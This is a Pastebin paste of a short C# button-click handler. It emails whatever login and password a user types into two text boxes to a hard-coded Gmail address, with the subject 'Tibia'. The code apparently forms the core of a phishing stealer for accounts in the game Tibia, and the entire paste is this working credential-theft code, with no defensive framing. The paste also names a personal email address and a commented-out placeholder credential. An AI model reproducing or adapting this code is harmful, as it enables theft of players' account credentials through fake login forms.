Mihao

Untitled

May 28th, 2020
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1. private void button1_Click(object sender, EventArgs e)
  2. {
  3. MailMessage mail = new MailMessage("michalklaput@gmail.com", "michalklaput@gmail.com");
  4.  
  5. SmtpClient client = new SmtpClient("smtp.gmail.com", 465);
  6. dane d = new dane();
  7. client.Credentials = new System.Net.NetworkCredential(d.login, d.password);
  8. // client.Credentials = new System.Net.NetworkCredential("jakismail@gmail.com", "qwerty");
  9. client.EnableSsl = true;
  10. client.DeliveryMethod = SmtpDeliveryMethod.Network;
  11. client.UseDefaultCredentials = false;
  12. mail.Subject = "Tibia";
  13. mail.Body = "Login: " + textBox1.Text + " Password: " + textBox2.Text;
  14.  
  15. client.Send(mail);
  16.  
  17.  
  18. }
Add Comment
Please, Sign In to add comment